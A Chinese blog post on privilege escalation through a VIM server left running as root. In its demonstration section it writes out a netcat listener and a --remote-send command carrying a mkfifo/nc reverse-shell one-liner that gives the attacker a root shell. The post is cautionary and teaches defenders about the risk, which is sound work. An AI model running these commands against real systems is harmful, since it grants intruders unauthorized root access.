天天看点

VIM 通过 Server-Client 模式提权背景问题实例论证总结

背景

近期创建了一种新的工作流,就是使用 VIM 的 Server-Client 模式。在这个模式下,所有打开的文件会被发送到同一个 VIM 窗口。这样的好处很明显,如果有多个窗口在编辑文件,就需要到处切换,找想要的文件,现在不用到处找了,都汇总在一起。我会使用

--remote-tab

在新的

vim tab

中加载新文件,这样非常直观,方便管理。

但是有一个问题,就是非

root

用户运行的

vim server

,是不能编辑系统文件的(也就是所属用户是 root)。解决方法是,要使用

sudo

来运行

vim server

,这样会带来如下的安全隐患。

问题

仔细想一下,如果

vim

被设置了

suid

,那么可以被用来提权。这里面的道理就是你可以以

root

的身份来运行

vim

。其本质就和

root

运行

vim server

一样了。

vim server

有这样的特性,如果你运行一个

vim server

vim --servername SAMPLESRV
           

但是你在关闭终端窗口的时候,没有退出

vim

,那么这个

vim server

进程就会保持在后台继续运行,就像一个

daemon

VIM 通过 Server-Client 模式提权背景问题实例论证总结

更糟糕的是,

vim server

可以开启多个,他们都可以在不同进程共存。

VIM 通过 Server-Client 模式提权背景问题实例论证总结

所谓安全问题最薄弱的一环是人,只要人一疏忽,就会留下很大的安全漏洞。就比如说,忘记清除以

root

身份运行的

vim server

实例论证

假设你已经以低权限进入了目标主机,然后查看所有进程发现有一个

vim server

root

身份运行。

VIM 通过 Server-Client 模式提权背景问题实例论证总结

那么很简单,就像

vim

内可以使用

:!cmd

运行任意系统命令,

vim server

也可以通过

--remote-send

特性,来执行系统命令。例如:

vim --servername SAMPLESRV --remote-send ":split filename"
           

那么 vim 就会以水平分割的方式打开新文件。

综上,就可以通过向

vim server

发送系统命令来获取

root

权限的

reverse shell

本机监听目标端口:

nc -lvnp 9999
           

然后向目标机器上以

root

身份运行的

vim server

发送命令。

vim --servername SAMPLESRV --remote-send ":! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc ip 9999 > /tmp/f<Enter>"
           

就能获取目标机器的

reverse shell

,权限

root

VIM 通过 Server-Client 模式提权背景问题实例论证总结

总结

好像没有多少人这样使用 vim,但是既然存在,那么也是一个

attack vector

总之,无论什么系统命令,在涉及会生成服务进程的时候,一定要小心小心再小心地使用

sudo

继续阅读